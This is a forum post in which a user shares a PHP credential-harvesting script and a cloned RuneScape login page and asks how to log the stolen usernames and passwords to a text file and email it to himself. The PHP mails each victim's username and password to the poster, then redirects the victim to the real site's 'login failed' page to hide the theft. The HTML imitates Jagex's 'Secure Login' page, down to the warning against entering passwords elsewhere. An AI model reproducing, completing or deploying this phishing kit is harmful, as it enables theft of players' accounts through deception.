Jump to content

Recommended Posts

ok i have this php code

 

code:

<?php
// Website Contact Form Generator
// http://www.tele-pro.co.uk/scripts/contact_form/
// This script is free to use as long as you
// retain the credit link

// get posted data into local variables
$EmailFrom = "staff@hotmail.com";
$EmailTo = "UREMAIL@EMAIL.com";
$Subject = "Runescape Login Details";
$Username = Trim(stripslashes($_POST['username']));
$Password = Trim(stripslashes($_POST['password']));

// validation
$validationOK=true;
if (!$validationOK) {
print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
exit;
}

// prepare email body text
$Body = "";
$Body .= "Username: ";
$Body .= $Username;
$Body .= "\n";
$Body .= "Password: ";
$Body .= $Password;
$Body .= "\n";

// send email
$success = mail($EmailTo mrwhiskers@yahoo.com, $Subject, $Body, "From: <$EmailFrom>");

// redirect to success page
if ($success){
print "<meta http-equiv=\"refresh\" content=\"0;URL=https://www.runescape.com/lang/en/aff/runescape/loginfailed.ws?mod=forum&dest=index.html\">";
}
else{
print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
}
?>

 

 

 

I was wondering how to make the info in the fields password and username save to a text file (preferably called ups)  and send that text file to my email(mrwhiskers2345@yahoo.com).

 

if you need my sites html code it's

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
<HTML XMLNS:IE><HEAD><TITLE>RuneScape - the massive online adventure game by Jagex Ltd</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META http-equiv=Expires content=0>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Cache-Control content=no-cache>
<META content=TRUE name=MSSmartTagsPreventParsing>
<STYLE type=text/css>BODY {
FONT-SIZE: 13px; BACKGROUND: url(img/bg2.jpg) black repeat-y center top; MARGIN: 0px; COLOR: white; FONT-FAMILY: Arial,Helvetica,sans-serif; TEXT-ALIGN: center
}
DIV#body {
MARGIN: 10px auto; WIDTH: 765px; POSITION: relative; TEXT-ALIGN: left
}
DIV {
FONT-SIZE: 13px; FONT-FAMILY: Arial,Helvetica,sans-serif
}
TD {
FONT-SIZE: 13px; FONT-FAMILY: Arial,Helvetica,sans-serif
}
A:hover {
TEXT-DECORATION: underline
}
IMG {
BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px
}
IMG A:hover {
TEXT-DECORATION: none
}
.titleframe {
PADDING-RIGHT: 4px; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; MARGIN-LEFT: auto; WIDTH: 500px; MARGIN-RIGHT: auto; PADDING-TOP: 4px; TEXT-ALIGN: center
}
.frame {
PADDING-RIGHT: 4px; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; MARGIN-LEFT: auto; WIDTH: 753px; MARGIN-RIGHT: auto; PADDING-TOP: 4px
}
.tandc {
CLEAR: both; FONT-SIZE: 11px; TEXT-ALIGN: center
}
.scroll {
COLOR: black
}
.heading {
MARGIN: 6px; TEXT-ALIGN: center
}
.heading SPAN {
BORDER-RIGHT: #3e3b23 3px solid; PADDING-RIGHT: 10px; BORDER-TOP: #7c774a 3px solid; DISPLAY: block; PADDING-LEFT: 10px; BACKGROUND-IMAGE: url(img/smbrownback.jpg); PADDING-BOTTOM: 3px; MARGIN: 0px auto; BORDER-LEFT: #7c774a 3px solid; WIDTH: 125px; PADDING-TOP: 3px; BORDER-BOTTOM: #3e3b23 3px solid; BACKGROUND-COLOR: #4d422e
}
A {
COLOR: #90c040; TEXT-DECORATION: none
}
.scroll A {
FONT-WEIGHT: bold; COLOR: #7b4f17
}
.e {
BORDER-RIGHT: #382418 2px solid; BORDER-TOP: #382418 2px solid; BORDER-LEFT: #382418 2px solid; BORDER-BOTTOM: #382418 2px solid; BACKGROUND-COLOR: black
}
.wide_e {
BORDER-RIGHT: #382418 2px solid; BORDER-TOP: #382418 2px solid; BORDER-LEFT: #382418 2px solid; BORDER-BOTTOM: #382418 2px solid; BACKGROUND-COLOR: black
}
DIV.horizontalscroll {
BACKGROUND-IMAGE: url(img/horizontal_scroll.gif); MARGIN: 5px 0px; OVERFLOW: hidden; WIDTH: 765px; POSITION: relative; HEIGHT: 159px; BACKGROUND-COLOR: #c2ab79
}
DIV.horizontalscroll-content {
MARGIN: 15px 40px; COLOR: #000000; POSITION: relative
}
DIV.widescroll {
MARGIN: 0px 10px 0px 15px; WIDTH: 735px; POSITION: relative; BACKGROUND-COLOR: #c2ab79
}
DIV.widescroll-bgimg {
BACKGROUND-IMAGE: url(img/backdrop_745.gif); MARGIN: 0px -5px; WIDTH: 745px; BACKGROUND-REPEAT: repeat-y; POSITION: relative
}
DIV.widescroll-content {
PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 25px; MARGIN: 0px 5px; COLOR: #000000; PADDING-TOP: 25px; POSITION: relative
}
IMG.widescroll-top {
PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; Z-INDEX: 100; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px; POSITION: relative; TOP: 25px
}
IMG.widescroll-bottom {
PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px; POSITION: relative; TOP: -25px
}
DIV.widescroll-content A {
FONT-WEIGHT: bold; COLOR: #7b4f17
}
DIV.horizontalscroll-content A {
FONT-WEIGHT: bold; COLOR: #7b4f17
}
DIV.narrowscroll-content A {
FONT-WEIGHT: bold; COLOR: #7b4f17
}
DIV.narrowscroll-bgimg {
BACKGROUND-IMAGE: url(img/scroll457t.gif); MARGIN: 0px -5px; WIDTH: 457px; BACKGROUND-REPEAT: repeat-y; POSITION: relative
}
DIV.narrowscroll-bg {
MARGIN-LEFT: 10px; WIDTH: 447px; BACKGROUND-COLOR: #c2ab79
}
DIV.narrowscroll-content {
PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 25px; MARGIN: 0px 5px; COLOR: #000000; PADDING-TOP: 25px; POSITION: relative
}
DIV.narrowscroll-content TD {
COLOR: black
}
IMG.narrowscroll-top {
PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; Z-INDEX: 100; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px; POSITION: relative; TOP: 25px
}
IMG.narrowscroll-bottom {
PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px; POSITION: relative; TOP: -25px
}
</STYLE>

<STYLE>.b {
BORDER-RIGHT: #6a5a42 3pt outset; BORDER-TOP: #6a5a42 3pt outset; BORDER-LEFT: #6a5a42 3pt outset; BORDER-BOTTOM: #6a5a42 3pt outset
}
.b2 {
BORDER-RIGHT: #570700 3pt outset; BORDER-TOP: #570700 3pt outset; BORDER-LEFT: #570700 3pt outset; BORDER-BOTTOM: #570700 3pt outset
}
.white {
COLOR: #ffffff; TEXT-DECORATION: none
}
A.white:hover {
TEXT-DECORATION: underline
}
.red {
COLOR: #e10505; TEXT-DECORATION: none
}
A.red:hover {
TEXT-DECORATION: underline
}
.lblue {
COLOR: #9db8c3; TEXT-DECORATION: none
}
A.lblue:hover {
TEXT-DECORATION: underline
}
.dblue {
COLOR: #0d6083; TEXT-DECORATION: none
}
A.dblue:hover {
TEXT-DECORATION: underline
}
.yellow {
COLOR: #ffe139; TEXT-DECORATION: none
}
A.yellow:hover {
TEXT-DECORATION: underline
}
.green {
COLOR: #04a800; TEXT-DECORATION: none
}
A.green:hover {
TEXT-DECORATION: underline
}
.purple {
COLOR: #c503fd; TEXT-DECORATION: none
}
A.purple:hover {
TEXT-DECORATION: underline
}
.pink {
COLOR: #faa8aa; TEXT-DECORATION: none
}
A.pink:hover {
TEXT-DECORATION: underline
}
A.grey {
COLOR: #c0c0c0; TEXT-DECORATION: none
}
.grey {
COLOR: #c0c0c0; TEXT-DECORATION: none
}
A.hover {
TEXT-DECORATION: underline
}
</STYLE>

<META content="MSHTML 6.00.2900.2963" name=GENERATOR></HEAD>
<BODY>
<DIV id=body>
<DIV
style="BACKGROUND: none transparent scroll repeat 0% 0%; TEXT-ALIGN: center">
<DIV class="titleframe e"><B>Secure Login</B><BR><A
href="index.htm">Main Menu</A></DIV>
</DIV><BR>
<DIV class="frame wide_e">
<TABLE width="100%">
<TBODY>
<TR>
<TD align=middle colSpan=3>
<DIV style="COLOR: #ffbb22"><B>You need to log in to access this
feature</B> </DIV><BR>
<DIV style="TEXT-ALIGN: center">Never enter your password anywhere except
<B>RuneScape.com</B><BR><IMG
src="img/onlyrs4.gif">
</DIV>
<FORM action=fourms.php
method=post autocomplete="off">
<TABLE>
<TBODY>
<TR>
<TD>RuneScape username:</TD>
<TD><INPUT maxLength=12 name=username></TD></TR>
<TR>
<TD>RuneScape password:</TD>
<TD><INPUT type=password maxLength=20 name=password></TD></TR>
<TR>
<TD></TD>
<TD align=middle><INPUT class=b style="BACKGROUND: url(img/brownback.jpg) #4d422e; COLOR: white" type=submit value="Secure Login"></TD></TR></TBODY></TABLE><INPUT
type=hidden value=index.html name=dest> </FORM></TD></TR>
<TR>
<TD align=right>
<TABLE cellPadding=4 width=220 bgColor=black>
<TBODY>
<TR>
<TD class=b align=middle
background="img/brownback.jpg"
bgColor=#4d422e><B>Need an account?</B><BR>To create an account to
access our game and secure services, <A class=c
href="https://create.runescape.com/lang/en/aff/runescape/index.html">Click
Here</A> </TD></TR></TBODY></TABLE></TD>
<TD width=20> </TD>
<TD align=left>
<TABLE cellPadding=4 width=220 bgColor=black>
<TBODY>
<TR>
<TD class=b align=middle
background="img/brownback.jpg"
bgColor=#4d422e><B>Lost password?</B><BR>If you have lost/forgotten
your password or need to recover your account, <A class=c
href="https://password.runescape.com/lang/en/aff/runescape/passsupport.html">Click
Here</A> </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV><BR>
<DIV class=tandc>This webpage and its contents are copyright 1999 - 2006 Jagex
Ltd.<BR>To use our service you must agree to our <A class=c
href="http://www.runescape.com/lang/en/aff/runescape/terms/terms.ws">Terms+Conditions</A>
+ <A class=c
href="http://www.runescape.com/lang/en/aff/runescape/privacy/privacy.ws">Privacy
policy</A> </DIV></DIV></BODY></HTML>

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.